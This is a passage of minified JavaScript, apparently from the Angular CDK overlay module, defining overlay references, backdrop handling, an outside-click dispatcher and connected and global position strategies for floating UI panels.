t.\u0275fac=function(e){return new(e||t)(a.LFG(h.K0))},t.\u0275prov=a.Yz7({factory:function(){return new t(a.LFG(h.K0))},token:t,providedIn:"root"}),t}(),H=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t))._platform=i,r._cursorStyleIsSet=!1,r._pointerDownListener=function(t){r._pointerDownEventTarget=(0,s.sA)(t)},r._clickListener=function(t){var e=(0,s.sA)(t),n="click"===t.type&&r._pointerDownEventTarget?r._pointerDownEventTarget:e;r._pointerDownEventTarget=null;for(var i=r._attachedOverlays.slice(),o=i.length-1;o>-1;o--){var a=i[o];if(!(a._outsidePointerEvents.observers.length<1)&&a.hasAttached()){if(a.overlayElement.contains(e)||a.overlayElement.contains(n))break;a._outsidePointerEvents.next(t)}}},r}return y(n,[{key:"add",value:function(t){if(u(m(n.prototype),"add",this).call(this,t),!this._isAttached){var e=this._document.body;e.addEventListener("pointerdown",this._pointerDownListener,!0),e.addEventListener("click",this._clickListener,!0),e.addEventListener("auxclick",this._clickListener,!0),e.addEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&!this._cursorStyleIsSet&&(this._cursorOriginalValue=e.style.cursor,e.style.cursor="pointer",this._cursorStyleIsSet=!0),this._isAttached=!0}}},{key:"detach",value:function(){if(this._isAttached){var t=this._document.body;t.removeEventListener("pointerdown",this._pointerDownListener,!0),t.removeEventListener("click",this._clickListener,!0),t.removeEventListener("auxclick",this._clickListener,!0),t.removeEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&this._cursorStyleIsSet&&(t.style.cursor=this._cursorOriginalValue,this._cursorStyleIsSet=!1),this._isAttached=!1}}}]),n}(B);return t.\u0275fac=function(e){return new(e||t)(a.LFG(h.K0),a.LFG(s.t4))},t.\u0275prov=a.Yz7({factory:function(){return new t(a.LFG(h.K0),a.LFG(s.t4))},token:t,providedIn:"root"}),t}(),V=function(){var t=function(){function t(e,n){_(this,t),this._platform=n,this._document=e}return y(t,[{key:"ngOnDestroy",value:function(){var t=this._containerElement;t&&t.parentNode&&t.parentNode.removeChild(t)}},{key:"getContainerElement",value:function(){return this._containerElement||this._createContainer(),this._containerElement}},{key:"_createContainer",value:function(){var t="cdk-overlay-container";if(this._platform.isBrowser||(0,s.Oy)())for(var e=this._document.querySelectorAll(".".concat(t,'[platform="server"], .').concat(t,'[platform="test"]')),n=0;n<e.length;n++)e[n].parentNode.removeChild(e[n]);var i=this._document.createElement("div");i.classList.add(t),(0,s.Oy)()?i.setAttribute("platform","test"):this._platform.isBrowser||i.setAttribute("platform","server"),this._document.body.appendChild(i),this._containerElement=i}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(h.K0),a.LFG(s.t4))},t.\u0275prov=a.Yz7({factory:function(){return new t(a.LFG(h.K0),a.LFG(s.t4))},token:t,providedIn:"root"}),t}(),G=function(){function t(e,n,i,r,o,a,s,u,c){var l=this;_(this,t),this._portalOutlet=e,this._host=n,this._pane=i,this._config=r,this._ngZone=o,this._keyboardDispatcher=a,this._document=s,this._location=u,this._outsideClickDispatcher=c,this._backdropElement=null,this._backdropClick=new v.xQ,this._attachments=new v.xQ,this._detachments=new v.xQ,this._locationChanges=g.w.EMPTY,this._backdropClickHandler=function(t){return l._backdropClick.next(t)},this._keydownEvents=new v.xQ,this._outsidePointerEvents=new v.xQ,r.scrollStrategy&&(this._scrollStrategy=r.scrollStrategy,this._scrollStrategy.attach(this)),this._positionStrategy=r.positionStrategy}return y(t,[{key:"overlayElement",get:function(){return this._pane}},{key:"backdropElement",get:function(){return this._backdropElement}},{key:"hostElement",get:function(){return this._host}},{key:"attach",value:function(t){var e=this,n=this._portalOutlet.attach(t);return!this._host.parentElement&&this._previousHostParent&&this._previousHostParent.appendChild(this._host),this._positionStrategy&&this._positionStrategy.attach(this),this._updateStackingOrder(),this._updateElementSize(),this._updateElementDirection(),this._scrollStrategy&&this._scrollStrategy.enable(),this._ngZone.onStable.pipe((0,x.q)(1)).subscribe(function(){e.hasAttached()&&e.updatePosition()}),this._togglePointerEvents(!0),this._config.hasBackdrop&&this._attachBackdrop(),this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!0),this._attachments.next(),this._keyboardDispatcher.add(this),this._config.disposeOnNavigation&&(this._locationChanges=this._location.subscribe(function(){return e.dispose()})),this._outsideClickDispatcher.add(this),n}},{key:"detach",value:function(){if(this.hasAttached()){this.detachBackdrop(),this._togglePointerEvents(!1),this._positionStrategy&&this._positionStrategy.detach&&this._positionStrategy.detach(),this._scrollStrategy&&this._scrollStrategy.disable();var t=this._portalOutlet.detach();return this._detachments.next(),this._keyboardDispatcher.remove(this),this._detachContentWhenStable(),this._locationChanges.unsubscribe(),this._outsideClickDispatcher.remove(this),t}}},{key:"dispose",value:function(){var t=this.hasAttached();this._positionStrategy&&this._positionStrategy.dispose(),this._disposeScrollStrategy(),this._disposeBackdrop(this._backdropElement),this._locationChanges.unsubscribe(),this._keyboardDispatcher.remove(this),this._portalOutlet.dispose(),this._attachments.complete(),this._backdropClick.complete(),this._keydownEvents.complete(),this._outsidePointerEvents.complete(),this._outsideClickDispatcher.remove(this),this._host&&this._host.parentNode&&(this._host.parentNode.removeChild(this._host),this._host=null),this._previousHostParent=this._pane=null,t&&this._detachments.next(),this._detachments.complete()}},{key:"hasAttached",value:function(){return this._portalOutlet.hasAttached()}},{key:"backdropClick",value:function(){return this._backdropClick}},{key:"attachments",value:function(){return this._attachments}},{key:"detachments",value:function(){return this._detachments}},{key:"keydownEvents",value:function(){return this._keydownEvents}},{key:"outsidePointerEvents",value:function(){return this._outsidePointerEvents}},{key:"getConfig",value:function(){return this._config}},{key:"updatePosition",value:function(){this._positionStrategy&&this._positionStrategy.apply()}},{key:"updatePositionStrategy",value:function(t){t!==this._positionStrategy&&(this._positionStrategy&&this._positionStrategy.dispose(),this._positionStrategy=t,this.hasAttached()&&(t.attach(this),this.updatePosition()))}},{key:"updateSize",value:function(t){this._config=Object.assign(Object.assign({},this._config),t),this._updateElementSize()}},{key:"setDirection",value:function(t){this._config=Object.assign(Object.assign({},this._config),{direction:t}),this._updateElementDirection()}},{key:"addPanelClass",value:function(t){this._pane&&this._toggleClasses(this._pane,t,!0)}},{key:"removePanelClass",value:function(t){this._pane&&this._toggleClasses(this._pane,t,!1)}},{key:"getDirection",value:function(){var t=this._config.direction;return t?"string"==typeof t?t:t.value:"ltr"}},{key:"updateScrollStrategy",value:function(t){t!==this._scrollStrategy&&(this._disposeScrollStrategy(),this._scrollStrategy=t,this.hasAttached()&&(t.attach(this),t.enable()))}},{key:"_updateElementDirection",value:function(){this._host.setAttribute("dir",this.getDirection())}},{key:"_updateElementSize",value:function(){if(this._pane){var t=this._pane.style;t.width=(0,d.HM)(this._config.width),t.height=(0,d.HM)(this._config.height),t.minWidth=(0,d.HM)(this._config.minWidth),t.minHeight=(0,d.HM)(this._config.minHeight),t.maxWidth=(0,d.HM)(this._config.maxWidth),t.maxHeight=(0,d.HM)(this._config.maxHeight)}}},{key:"_togglePointerEvents",value:function(t){this._pane.style.pointerEvents=t?"":"none"}},{key:"_attachBackdrop",value:function(){var t=this,e="cdk-overlay-backdrop-showing";this._backdropElement=this._document.createElement("div"),this._backdropElement.classList.add("cdk-overlay-backdrop"),this._config.backdropClass&&this._toggleClasses(this._backdropElement,this._config.backdropClass,!0),this._host.parentElement.insertBefore(this._backdropElement,this._host),this._backdropElement.addEventListener("click",this._backdropClickHandler),"undefined"!=typeof requestAnimationFrame?this._ngZone.runOutsideAngular(function(){requestAnimationFrame(function(){t._backdropElement&&t._backdropElement.classList.add(e)})}):this._backdropElement.classList.add(e)}},{key:"_updateStackingOrder",value:function(){this._host.nextSibling&&this._host.parentNode.appendChild(this._host)}},{key:"detachBackdrop",value:function(){var t=this,e=this._backdropElement;if(e){var n,i=function i(){e&&(e.removeEventListener("click",t._backdropClickHandler),e.removeEventListener("transitionend",i),t._disposeBackdrop(e)),t._config.backdropClass&&t._toggleClasses(e,t._config.backdropClass,!1),clearTimeout(n)};e.classList.remove("cdk-overlay-backdrop-showing"),this._ngZone.runOutsideAngular(function(){e.addEventListener("transitionend",i)}),e.style.pointerEvents="none",n=this._ngZone.runOutsideAngular(function(){return setTimeout(i,500)})}}},{key:"_toggleClasses",value:function(t,e,n){var i=t.classList;(0,d.Eq)(e).forEach(function(t){t&&(n?i.add(t):i.remove(t))})}},{key:"_detachContentWhenStable",value:function(){var t=this;this._ngZone.runOutsideAngular(function(){var e=t._ngZone.onStable.pipe((0,S.R)((0,b.T)(t._attachments,t._detachments))).subscribe(function(){(!t._pane||!t._host||0===t._pane.children.length)&&(t._pane&&t._config.panelClass&&t._toggleClasses(t._pane,t._config.panelClass,!1),t._host&&t._host.parentElement&&(t._previousHostParent=t._host.parentElement,t._previousHostParent.removeChild(t._host)),e.unsubscribe())})})}},{key:"_disposeScrollStrategy",value:function(){var t=this._scrollStrategy;t&&(t.disable(),t.detach&&t.detach())}},{key:"_disposeBackdrop",value:function(t){t&&(t.parentNode&&t.parentNode.removeChild(t),this._backdropElement===t&&(this._backdropElement=null))}}]),t}(),Y="cdk-overlay-connected-position-bounding-box",q=/([A-Za-z%]+)$/,z=function(){function t(e,n,i,r,o){_(this,t),this._viewportRuler=n,this._document=i,this._platform=r,this._overlayContainer=o,this._lastBoundingBoxSize={width:0,height:0},this._isPushed=!1,this._canPush=!0,this._growAfterOpen=!1,this._hasFlexibleDimensions=!0,this._positionLocked=!1,this._viewportMargin=0,this._scrollables=[],this._preferredPositions=[],this._positionChanges=new v.xQ,this._resizeSubscription=g.w.EMPTY,this._offsetX=0,this._offsetY=0,this._appliedPanelClasses=[],this.positionChanges=this._positionChanges,this.setOrigin(e)}return y(t,[{key:"positions",get:function(){return this._preferredPositions}},{key:"attach",value:function(t){var e=this;this._validatePositions(),t.hostElement.classList.add(Y),this._overlayRef=t,this._boundingBox=t.hostElement,this._pane=t.overlayElement,this._isDisposed=!1,this._isInitialRender=!0,this._lastPosition=null,this._resizeSubscription.unsubscribe(),this._resizeSubscription=this._viewportRuler.change().subscribe(function(){e._isInitialRender=!0,e.apply()})}},{key:"apply",value:function(){if(!this._isDisposed&&this._platform.isBrowser)if(!this._isInitialRender&&this._positionLocked&&this._lastPosition)this.reapplyLastPosition();else{this._clearPanelClasses(),this._resetOverlayElementStyles(),this._resetBoundingBoxStyles(),this._viewportRect=this._getNarrowedViewportRect(),this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect();var t,e,n=this._originRect,i=this._overlayRect,o=this._viewportRect,a=[],s=r(this._preferredPositions);try{for(s.s();!(e=s.n()).done;){var u=e.value,c=this._getOriginPoint(n,u),l=this._getOverlayPoint(c,i,u),h=this._getOverlayFit(l,i,o,u);if(h.isCompletelyWithinViewport)return this._isPushed=!1,void this._applyPosition(u,c);this._canFitWithFlexibleDimensions(h,l,o)?a.push({position:u,origin:c,overlayRect:i,boundingBoxRect:this._calculateBoundingBoxRect(c,u)}):(!t||t.overlayFit.visibleArea<h.visibleArea)&&(t={overlayFit:h,overlayPoint:l,originPoint:c,position:u,overlayRect:i})}}catch(y){s.e(y)}finally{s.f()}if(a.length){var f,d=null,p=-1,v=r(a);try{for(v.s();!(f=v.n()).done;){var m=f.value,g=m.boundingBoxRect.width*m.boundingBoxRect.height*(m.position.weight||1);g>p&&(p=g,d=m)}}catch(y){v.e(y)}finally{v.f()}return this._isPushed=!1,void this._applyPosition(d.position,d.origin)}if(this._canPush)return this._isPushed=!0,void this._applyPosition(t.position,t.originPoint);this._applyPosition(t.position,t.originPoint)}}},{key:"detach",value:function(){this._clearPanelClasses(),this._lastPosition=null,this._previousPushAmount=null,this._resizeSubscription.unsubscribe()}},{key:"dispose",value:function(){this._isDisposed||(this._boundingBox&&Z(this._boundingBox.style,{top:"",left:"",right:"",bottom:"",height:"",width:"",alignItems:"",justifyContent:""}),this._pane&&this._resetOverlayElementStyles(),this._overlayRef&&this._overlayRef.hostElement.classList.remove(Y),this.detach(),this._positionChanges.complete(),this._overlayRef=this._boundingBox=null,this._isDisposed=!0)}},{key:"reapplyLastPosition",value:function(){if(!this._isDisposed&&(!this._platform||this._platform.isBrowser)){this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._viewportRect=this._getNarrowedViewportRect();var t=this._lastPosition||this._preferredPositions[0],e=this._getOriginPoint(this._originRect,t);this._applyPosition(t,e)}}},{key:"withScrollableContainers",value:function(t){return this._scrollables=t,this}},{key:"withPositions",value:function(t){return this._preferredPositions=t,-1===t.indexOf(this._lastPosition)&&(this._lastPosition=null),this._validatePositions(),this}},{key:"withViewportMargin",value:function(t){return this._viewportMargin=t,this}},{key:"withFlexibleDimensions",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._hasFlexibleDimensions=t,this}},{key:"withGrowAfterOpen",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._growAfterOpen=t,this}},{key:"withPush",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._canPush=t,this}},{key:"withLockedPosition",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this._positionLocked=t,this}},{key:"setOrigin",value:function(t){return this._origin=t,this}},{key:"withDefaultOffsetX",value:function(t){return this._offsetX=t,this}},{key:"withDefaultOffsetY",value:function(t){return this._offsetY=t,this}},{key:"withTransformOriginOn",value:function(t){return this._transformOriginSelector=t,this}},{key:"_getOriginPoint",value:function(t,e){var n;if("center"==e.originX)n=t.left+t.width/2;else{var i=this._isRtl()?t.right:t.left,r=this._isRtl()?t.left:t.right;n="start"==e.originX?i:r}return{x:n,y:"center"==e.originY?t.top+t.height/2:"top"==e.originY?t.top:t.bottom}}},{key:"_getOverlayPoint",value:function(t,e,n){var i,r;return i="center"==n.overlayX?-e.width/2:"start"===n.overlayX?this._isRtl()?-e.width:0:this._isRtl()?0:-e.width,r="center"==n.overlayY?-e.height/2:"top"==n.overlayY?0:-e.height,{x:t.x+i,y:t.y+r}}},{key:"_getOverlayFit",value:function(t,e,n,i){var r=J(e),o=t.x,a=t.y,s=this._getOffset(i,"x"),u=this._getOffset(i,"y");s&&(o+=s),u&&(a+=u);var c=0-a,l=a+r.height-n.height,h=this._subtractOverflows(r.width,0-o,o+r.width-n.width),f=this._subtractOverflows(r.height,c,l),d=h*f;return{visibleArea:d,isCompletelyWithinViewport:r.width*r.height===d,fitsInViewportVertically:f===r.height,fitsInViewportHorizontally:h==r.width}}},{key:"_canFitWithFlexibleDimensions",value:function(t,e,n){if(this._hasFlexibleDimensions){var i=n.bottom-e.y,r=n.right-e.x,o=W(this._overlayRef.getConfig().minHeight),a=W(this._overlayRef.getConfig().minWidth),s=t.fitsInViewportHorizontally||null!=a&&a<=r;return(t.fitsInViewportVertically||null!=o&&o<=i)&&s}return!1}},{key:"_pushOverlayOnScreen",value:function(t,e,n){if(this._previousPushAmount&&this._positionLocked)return{x:t.x+this._previousPushAmount.x,y:t.y+this._previousPushAmount.y};var i,r,o=J(e),a=this._viewportRect,s=Math.max(t.x+o.width-a.width,0),u=Math.max(t.y+o.height-a.height,0),c=Math.max(a.top-n.top-t.y,0),l=Math.max(a.left-n.left-t.x,0);return i=o.width<=a.width?l||-s:t.x<this._viewportMargin?a.left-n.left-t.x:0,r=o.height<=a.height?c||-u:t.y<this._viewportMargin?a.top-n.top-t.y:0,this._previousPushAmount={x:i,y:r},{x:t.x+i,y:t.y+r}}},{key:"_applyPosition",value:function(t,e){if(this._setTransformOrigin(t),this._setOverlayElementStyles(e,t),this._setBoundingBoxStyles(e,t),t.panelClass&&this._addPanelClasses(t.panelClass),this._lastPosition=t,this._positionChanges.observers.length){var n=this._getScrollVisibility(),i=new U(t,n);this._positionChanges.next(i)}this._isInitialRender=!1}},{key:"_setTransformOrigin",value:function(t){if(this._transformOriginSelector){var e,n=this._boundingBox.querySelectorAll(this._transformOriginSelector),i=t.overlayY;e="center"===t.overlayX?"center":this._isRtl()?"start"===t.overlayX?"right":"left":"start"===t.overlayX?"left":"right";for(var r=0;r<n.length;r++)n[r].style.transformOrigin="".concat(e," ").concat(i)}}},{key:"_calculateBoundingBoxRect",value:function(t,e){var n,i,r,o,a,s,u=this._viewportRect,c=this._isRtl();if("top"===e.overlayY)i=t.y,n=u.height-i+this._viewportMargin;else if("bottom"===e.overlayY)r=u.height-t.y+2*this._viewportMargin,n=u.height-r+this._viewportMargin;else{var l=Math.min(u.bottom-t.y+u.top,t.y),h=this._lastBoundingBoxSize.height;n=2*l,i=t.y-l,n>h&&!this._isInitialRender&&!this._growAfterOpen&&(i=t.y-h/2)}if("end"===e.overlayX&&!c||"start"===e.overlayX&&c)s=u.width-t.x+this._viewportMargin,o=t.x-this._viewportMargin;else if("start"===e.overlayX&&!c||"end"===e.overlayX&&c)a=t.x,o=u.right-t.x;else{var f=Math.min(u.right-t.x+u.left,t.x),d=this._lastBoundingBoxSize.width;o=2*f,a=t.x-f,o>d&&!this._isInitialRender&&!this._growAfterOpen&&(a=t.x-d/2)}return{top:i,left:a,bottom:r,right:s,width:o,height:n}}},{key:"_setBoundingBoxStyles",value:function(t,e){var n=this._calculateBoundingBoxRect(t,e);!this._isInitialRender&&!this._growAfterOpen&&(n.height=Math.min(n.height,this._lastBoundingBoxSize.height),n.width=Math.min(n.width,this._lastBoundingBoxSize.width));var i={};if(this._hasExactPosition())i.top=i.left="0",i.bottom=i.right=i.maxHeight=i.maxWidth="",i.width=i.height="100%";else{var r=this._overlayRef.getConfig().maxHeight,o=this._overlayRef.getConfig().maxWidth;i.height=(0,d.HM)(n.height),i.top=(0,d.HM)(n.top),i.bottom=(0,d.HM)(n.bottom),i.width=(0,d.HM)(n.width),i.left=(0,d.HM)(n.left),i.right=(0,d.HM)(n.right),i.alignItems="center"===e.overlayX?"center":"end"===e.overlayX?"flex-end":"flex-start",i.justifyContent="center"===e.overlayY?"center":"bottom"===e.overlayY?"flex-end":"flex-start",r&&(i.maxHeight=(0,d.HM)(r)),o&&(i.maxWidth=(0,d.HM)(o))}this._lastBoundingBoxSize=n,Z(this._boundingBox.style,i)}},{key:"_resetBoundingBoxStyles",value:function(){Z(this._boundingBox.style,{top:"0",left:"0",right:"0",bottom:"0",height:"",width:"",alignItems:"",justifyContent:""})}},{key:"_resetOverlayElementStyles",value:function(){Z(this._pane.style,{top:"",left:"",bottom:"",right:"",position:"",transform:""})}},{key:"_setOverlayElementStyles",value:function(t,e){var n={},i=this._hasExactPosition(),r=this._hasFlexibleDimensions,o=this._overlayRef.getConfig();if(i){var a=this._viewportRuler.getViewportScrollPosition();Z(n,this._getExactOverlayY(e,t,a)),Z(n,this._getExactOverlayX(e,t,a))}else n.position="static";var s="",u=this._getOffset(e,"x"),c=this._getOffset(e,"y");u&&(s+="translateX(".concat(u,"px) ")),c&&(s+="translateY(".concat(c,"px)")),n.transform=s.trim(),o.maxHeight&&(i?n.maxHeight=(0,d.HM)(o.maxHeight):r&&(n.maxHeight="")),o.maxWidth&&(i?n.maxWidth=(0,d.HM)(o.maxWidth):r&&(n.maxWidth="")),Z(this._pane.style,n)}},{key:"_getExactOverlayY",value:function(t,e,n){var i={top:"",bottom:""},r=this._getOverlayPoint(e,this._overlayRect,t);this._isPushed&&(r=this._pushOverlayOnScreen(r,this._overlayRect,n));var o=this._overlayContainer.getContainerElement().getBoundingClientRect().top;return r.y-=o,"bottom"===t.overlayY?i.bottom=this._document.documentElement.clientHeight-(r.y+this._overlayRect.height)+"px":i.top=(0,d.HM)(r.y),i}},{key:"_getExactOverlayX",value:function(t,e,n){var i={left:"",right:""},r=this._getOverlayPoint(e,this._overlayRect,t);return this._isPushed&&(r=this._pushOverlayOnScreen(r,this._overlayRect,n)),"right"===(this._isRtl()?"end"===t.overlayX?"left":"right":"end"===t.overlayX?"right":"left")?i.right=this._document.documentElement.clientWidth-(r.x+this._overlayRect.width)+"px":i.left=(0,d.HM)(r.x),i}},{key:"_getScrollVisibility",value:function(){var t=this._getOriginRect(),e=this._pane.getBoundingClientRect(),n=this._scrollables.map(function(t){return t.getElementRef().nativeElement.getBoundingClientRect()});return{isOriginClipped:P(t,n),isOriginOutsideView:R(t,n),isOverlayClipped:P(e,n),isOverlayOutsideView:R(e,n)}}},{key:"_subtractOverflows",value:function(t){for(var e=arguments.length,n=new Array(e>1?e-1:0),i=1;i<e;i++)n[i-1]=arguments[i];return n.reduce(function(t,e){return t-Math.max(e,0)},t)}},{key:"_getNarrowedViewportRect",value:function(){var t=this._document.documentElement.clientWidth,e=this._document.documentElement.clientHeight,n=this._viewportRuler.getViewportScrollPosition();return{top:n.top+this._viewportMargin,left:n.left+this._viewportMargin,right:n.left+t-this._viewportMargin,bottom:n.top+e-this._viewportMargin,width:t-2*this._viewportMargin,height:e-2*this._viewportMargin}}},{key:"_isRtl",value:function(){return"rtl"===this._overlayRef.getDirection()}},{key:"_hasExactPosition",value:function(){return!this._hasFlexibleDimensions||this._isPushed}},{key:"_getOffset",value:function(t,e){return"x"===e?null==t.offsetX?this._offsetX:t.offsetX:null==t.offsetY?this._offsetY:t.offsetY}},{key:"_validatePositions",value:function(){}},{key:"_addPanelClasses",value:function(t){var e=this;this._pane&&(0,d.Eq)(t).forEach(function(t){""!==t&&-1===e._appliedPanelClasses.indexOf(t)&&(e._appliedPanelClasses.push(t),e._pane.classList.add(t))})}},{key:"_clearPanelClasses",value:function(){var t=this;this._pane&&(this._appliedPanelClasses.forEach(function(e){t._pane.classList.remove(e)}),this._appliedPanelClasses=[])}},{key:"_getOriginRect",value:function(){var t=this._origin;if(t instanceof a.SBq)return t.nativeElement.getBoundingClientRect();if(t instanceof Element)return t.getBoundingClientRect();var e=t.width||0,n=t.height||0;return{top:t.y,bottom:t.y+n,left:t.x,right:t.x+e,height:n,width:e}}}]),t}();function Z(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}function W(t){if("number"!=typeof t&&null!=t){var e=o(t.split(q),2),n=e[0],i=e[1];return i&&"px"!==i?null:parseFloat(n)}return t||null}function J(t){return{top:Math.floor(t.top),right:Math.floor(t.right),bottom:Math.floor(t.bottom),left:Math.floor(t.left),width:Math.floor(t.width),height:Math.floor(t.height)}}var Q=function(){function t(e,n,i,r,o,a,s){_(this,t),this._preferredPositions=[],this._positionStrategy=new z(i,r,o,a,s).withFlexibleDimensions(!1).withPush(!1).withViewportMargin(0),this.withFallbackPosition(e,n),this.onPositionChange=this._positionStrategy.positionChanges}return y(t,[{key:"positions",get:function(){return this._preferredPositions}},{key:"attach",value:function(t){this._overlayRef=t,this._positionStrategy.attach(t),this._direction&&(t.setDirection(this._direction),this._direction=null)}},{key:"dispose",value:function(){this._positionStrategy.dispose()}},{key:"detach",value:function(){this._positionStrategy.detach()}},{key:"apply",value:function(){this._positionStrategy.apply()}},{key:"recalculateLastPosition",value:function(){this._positionStrategy.reapplyLastPosition()}},{key:"withScrollableContainers",value:function(t){this._positionStrategy.withScrollableContainers(t)}},{key:"withFallbackPosition",value:function(t,e,n,i){var r=new F(t,e,n,i);return this._preferredPositions.push(r),this._positionStrategy.withPositions(this._preferredPositions),this}},{key:"withDirection",value:function(t){return this._overlayRef?this._overlayRef.setDirection(t):this._direction=t,this}},{key:"withOffsetX",value:function(t){return this._positionStrategy.withDefaultOffsetX(t),this}},{key:"withOffsetY",value:function(t){return this._positionStrategy.withDefaultOffsetY(t),this}},{key:"withLockedPosition",value:function(t){return this._positionStrategy.withLockedPosition(t),this}},{key:"withPositions",value:function(t){return this._preferredPositions=t.slice(),this._positionStrategy.withPositions(this._preferredPositions),this}},{key:"setOrigin",value:function(t){return this._positionStrategy.setOrigin(t),this}}]),t}(),K="cdk-global-overlay-wrapper",X=function(){function t(){_(this,t),this._cssPosition="static",this._topOffset="",this._bottomOffset="",this._leftOffset="",this._rightOffset="",this._alignItems="",this._justifyContent="",this._width="",this._height=""}return y(t,[{key:"attach",value:function(t){var e=t.getConfig();this._overlayRef=t,this._width&&!e.width&&t.updateSize({width:this._width}),this._height&&!e.height&&t.updateSize({height:this._height}),t.hostElement.classList.add(K),this._isDisposed=!1}},{key:"top",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this._bottomOffset="",this._topOffset=t,this._alignItems="flex-start",this}},{key:"left",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this._rightOffset="",this._leftOffset=t,this._justifyContent="flex-start",this}},{key:"bottom",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this._topOffset="",this._bottomOffset=t,this._alignItems="flex-end",this}},{key:"right",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this._leftOffset="",this._rightOffset=t,this._justifyContent="flex-end",this}},{key:"width",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this._overlayRef?this._overlayRef.updateSize({width:t}):this._width=t,this}},{key:"height",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this._overlayRef?this._overlayRef.updateSize({height:t}):this._height=t,this}},{key:"centerHorizontally",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this.left(t),this._justifyContent="center",this}},{key:"centerVertically",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return this.top(t),this._alignItems="center",this}},{key:"apply",value:function(){if(this._overlayRef&&this._overlayRef.hasAttached()){var t=this._overlayRef.overlayElement.style,e=this._overlayRef.hostElement.style,n=this._overlayRef.getConfig(),i=n.width,r=n.height,o=n.maxWidth,a=n.maxHeight,s=!("100%"!==i&&"100vw"!==i||o&&"100%"!==o&&"100vw"!==o),u=!("100%"!==r&&"100vh"!==r||a&&"100%"!==a&&"100vh"!==a);t.position=this._cssPosition,t.marginLeft=s?"0":this._leftOffset,t.marginTop=u?"0":this._topOffset,t.marginBottom=this._bottomOffset,t.marginRight=this._rightOffset,s?e.justifyContent="flex-start":"center"===this._justifyContent?e.justifyContent="center":"rtl"===this._overlayRef.getConfig().direction?"flex-start"===this._justifyContent?e.justifyContent="flex-end":"flex-end"===this._justifyContent&&(e.justifyContent="flex-start"):e.justifyContent=this._justifyContent,e.alignItems=u?"flex-start":this._alignItems}}},{key:"dispose",value:function(){if(!this._isDisposed&&this._overlayRef){var t=this._overlayRef.overlayElement.style,e=this._overlayRef.hostElement,n=e.style;e.classList.remove(K),n.justifyContent=n.alignItems=t.marginTop=t.marginBottom=t.marginLeft=t.marginRight=t.position="",this._overlayRef=null,this._isDisposed=!0}}}]),t}(),$=function(){var t=function(){function t(e,n,i,r){_(this,t),this._viewportRuler=e,this._document=n,this._platform=i,this._overlayContainer=r}return y(t,[{key:"global",value:function(){return new X}},{key:"connectedTo",value:function(t,e,n){return new Q(e,n,t,this._viewportRuler,this._document,this._platform,this._overlayContainer)}},{key:"flexibleConnectedTo",value:function(t){return new z(t,this._viewportRuler,this._document,this._platform,this._overlayContainer)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(i.rL),a.LFG(h.K0),a.LFG(s.t4),a.LFG(V))},t.\u0275prov=a.Yz7({factory:function(){return new t(a.LFG(i.rL),a.LFG(h.K0),a.LFG(s.t4),a.LFG(V))},token:t,providedIn:"root"}),t}(),tt=0,et=function(){var t=function(){function t(e,n,i,r,o,a,s,u,c,l,h){_(this,t),this.scrollStrategies=e,this._overlayContainer=n,this._componentFactoryResolver=i,this._positionBuilder=r,this._keyboardDispatcher=o,this._injector=a,this._ngZone=s,this._document=u,this._directionality=c,this._location=l,this._outsideClickDispatcher=h}return y(t,[{key:"create",value:function(t){var e=this._createHostElement(),n=this._createPaneElement(e),i=this._createPortalOutlet(n),r=new M(t);return r.direction=r.direction||this._directionality.value,new G(i,e,n,r,this._ngZone,this._keyboardDispatcher,this._document,this._location,this._outsideClickDispatcher)}},{key:"position",value:function(){return this._positionBuilder}},{key:"_createPaneElement",value:function(t){var e=this._document.createElement("div");return e.id="cdk-overlay-"+tt++,e.classList.add("cdk-overlay-pane"),t.appendChild(e),e}},{key:"_createHostElement",value:function(){var t=this._document.createElement("div");return this._overlayContainer.getContainerElement().appendChild(t),t}},{key:"_createPortalOutlet",value:function(t){return this._appRef||(this._appRef=this._injector.get(a.z2F)),new p.u0(t,this._componentFactoryResolver,this._appRef,this._injector,this._document)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(L),a.LFG(V),a.LFG(a._Vd),a.LFG($),a.LFG(j),a.LFG(a.zs3),a.LFG(a.R0b),a.LFG(h.K0),a.LFG(c.Is),a.LFG(h.Ye),a.LFG(H))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),nt=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom"},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],it=new a.OlP("cdk-connected-overlay-scroll-strategy"),rt=function(){var t=function t(e){_(this,t),this.elementRef=e};return t.\u0275fac=function(e){return new(e||t)(a.Y36(a.SBq))},t.\u0275dir=a.lG2({type:t,selectors:[["","cdk-overlay-origin",""],["","overlay-origin",""],["","cdkOverlayOrigin",""]],exportAs:["cdkOverlayOrigin"]}),t}(),ot=function(){var t=function(){function 